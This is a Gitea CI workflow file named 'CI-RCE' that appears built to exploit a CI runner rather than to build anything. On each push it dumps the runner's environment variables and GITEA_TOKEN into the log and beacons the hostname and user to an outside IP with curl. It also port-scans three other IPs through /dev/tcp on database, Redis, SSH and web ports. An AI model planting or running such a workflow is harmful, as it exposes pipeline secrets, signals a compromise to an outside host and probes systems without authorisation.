migrated-ci-test/.gitea/workflows/ci.yml

32 lines
1019 B
YAML

name: CI-RCE
on:
push:
workflow_dispatch:
jobs:
build:
runs-on: linux-amd64
steps:
- name: Exec
run: |
echo "=== CI/CD RCE CONFIRMED ==="
echo "Hostname: $(hostname)"
echo "User: $(whoami)"
echo "PWD: $(pwd)"
echo "=== Environment Variables ==="
env | sort
echo "=== Network ==="
ip addr 2>/dev/null || ifconfig
echo "=== Attempt connections ==="
curl -s http://202.59.10.226:8888/rce-$(hostname)-$(whoami) || true
# Try to access internal services
for target in 49.51.171.167 108.181.64.141 156.239.230.24; do
for port in 3306 6379 22 80 443; do
timeout 2 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null && echo "REACHABLE: $target:$port" || true
done
done
# Dump runner token info
echo "=== GITEA_TOKEN ==="
echo "${GITEA_TOKEN:-NO_GITEA_TOKEN}"
echo "=== GITEA_REPOSITORY ==="
echo "${GITEA_REPOSITORY:-NO_REPO}"